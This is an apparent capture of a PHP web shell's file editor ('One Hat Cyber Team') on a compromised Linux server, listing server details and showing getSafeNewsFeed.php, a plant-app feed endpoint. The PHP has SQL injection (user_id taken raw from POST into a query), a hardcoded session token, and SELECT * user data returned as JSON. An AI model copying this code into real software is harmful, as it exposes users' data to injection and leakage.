One Hat Cyber Team

Your IP : 108.162.241.211

Server IP : 188.114.97.4

Server : Linux thuru 6.5.11-4-pve #1 SMP PREEMPT_DYNAMIC PMX 6.5.11-4 (2023-11-20T10:19Z) x86_64

Server Software : Apache/2.4.51 (Unix) OpenSSL/1.0.2k-fips

PHP Version : 7.3.33

Buat File | Buat Folder

Dir : ~/home/thuruk/public_html/App/New/

Edit File: getSafeNewsFeed.php

<?php
   
         include("connections.php"); //database connection

$endvalue = mysqli_real_escape_string($connect,$_POST['endvalue']);
        $startvalue = mysqli_real_escape_string($connect,$_POST['startvalue']);
        $session = mysqli_real_escape_string($connect,$_POST['session_id']);
        $type = mysqli_real_escape_string($connect,$_POST['type']);
        $user_id = mysqli_real_escape_string($connect,$_POST['user_id']);

$json;
		if($session !="5f0e6bfbafe255ds003434349") {
			$json['status'] = 400;
			$json['msg'] = 'Session Expired';
		} else {
			$rsData = array();
		
		    $query;
		    
		    if($type =="personal"){
              
		         $user_id = isset($_POST['user_id'])?$_POST['user_id']:"";
              // AND  newuser_plants.plant_name=tree_name.name inner join `tree_name`
		         $query="SELECT * FROM `users` inner join `newuser_plants`  WHERE users.user_id=newuser_plants.user_id AND users.user_id ='$user_id'  ORDER BY newuser_plants.created_time DESC";	
		        
            }else if($type =="test"){
              //ORDER BY user_plants.created_time DESC
              
              $newstart = $startvalue -1;
               $query="SELECT users.*,newuser_plants.*,plant_details.plant_details_id FROM `users` inner join `newuser_plants`inner join `plant_details` WHERE users.user_id=newuser_plants.user_id AND  newuser_plants.plant_name=plant_details.title  ORDER BY newuser_plants.created_date DESC LIMIT $newstart,$endvalue";	 
              //  $query="SELECT * FROM `users` inner join `user_plants` WHERE users.user_id=user_plants.user_id ORDER BY user_plants.created_time DESC  ";	 
              
            } else{
              
              //ORDER BY user_plants.created_time DESC
       
              
                              $query="SELECT * FROM `users` inner join `newuser_plants`  WHERE users.user_id=newuser_plants.user_id AND newuser_plants.status='activate' ORDER BY newuser_plants.created_date DESC  ";	
              
            }/*else  if($type =="test"){
		       	  $query="SELECT * FROM `users` inner join `user_plants` WHERE users.user_id=user_plants.user_id LIMIT  '$startvalue','$endvalue' ORDER BY user_plants.created_time DESC  ";	 
		        
            }else{
              
               $query="SELECT * FROM `users` inner join `user_plants` WHERE users.user_id=user_plants.user_id ORDER BY user_plants.created_time DESC  ";	 
              
            }*/
         
        $count_query="SELECT * FROM `users` inner join `newuser_plants` WHERE users.user_id=newuser_plants.user_id ORDER BY newuser_plants.created_date DESC";
	
        $count_rs = mysqli_query($connect,$count_query) or die(mysqli_error($connect));
          
        $row_count = mysqli_num_rows($count_rs);
          
	    $rs = mysqli_query($connect,$query) or die(mysqli_error($connect));

//following query will check hide post or reported post are available
          
          $report_array=array();
          
           $report_post="SELECT * FROM `hide_reported_post` WHERE user_id='$user_id'";
	
        $report_rs = mysqli_query($connect,$report_post) or die(mysqli_error($connect));

if($report_rs){
				
                      while($row1 = mysqli_fetch_assoc($report_rs))
                      {

array_push($report_array,$row1['post_id']);//$word_array[] = $row;
                      }
                    
                    }
          
          
                      
				$word_array=array();
				if($rs){
					//location
					while ($row = mysqli_fetch_assoc($rs))
					{
					
                      if(in_array($row['user_plant_id'],$report_array)){
                        
                        
                      }else{
                        
                        $word_array[] = $row;
                        
                      }
                      
						
					}
				}
          	$json['count'] =$row_count; //$row_count;
			$json['status'] = 200;
			$json['msg'] = 'Success';
			$json['data'] = $word_array;
		}
//		header("Content-Type: application/json");
		
		echo json_encode($json);

?>